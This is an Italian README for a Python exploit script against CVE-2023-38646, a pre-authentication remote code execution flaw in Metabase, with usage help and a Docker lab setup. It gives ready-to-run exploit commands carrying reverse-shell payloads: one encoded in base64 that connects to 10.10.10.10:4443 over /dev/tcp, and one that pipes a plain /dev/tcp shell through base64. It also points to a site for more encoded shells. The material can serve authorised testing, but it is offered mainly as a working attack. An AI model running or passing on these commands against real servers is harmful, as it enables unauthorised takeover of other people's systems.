
Script Python per sfruttare la CVE-2023-38646 Metabase Pre-Auth RCE tramite SQL injection
Script Python per sfruttare CVE-2023-38646 Metabase Pre-Auth RCE tramite SQL injection
Lo script esegue una richiesta GET /api/session/properties per ottenere il setup token e valutare la sfruttabilità del target. Se è vulnerabile, stamperà il setup token, altrimenti terminerà con un messaggio di errore.
Se viene usata l'opzione -x e il target è vulnerabile, verrà utilizzato il payload fornito per tentare di sfruttare la vulnerabilità.
Maggiori informazioni in questo fantastico writeup del team che ha scoperto la vulnerabilità: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
Se necessario, puoi avviare rapidamente un ambiente di test in un container Docker usando questo comando:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Dopo aver visitato http://127.0.0.1:3000/ per completare la configurazione e aver avviato un listener,
Puoi sfruttare la RCE con qualcosa del genere:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
oppure puoi ottenere la tua reverse shell codificata in base64 visitando revshells.com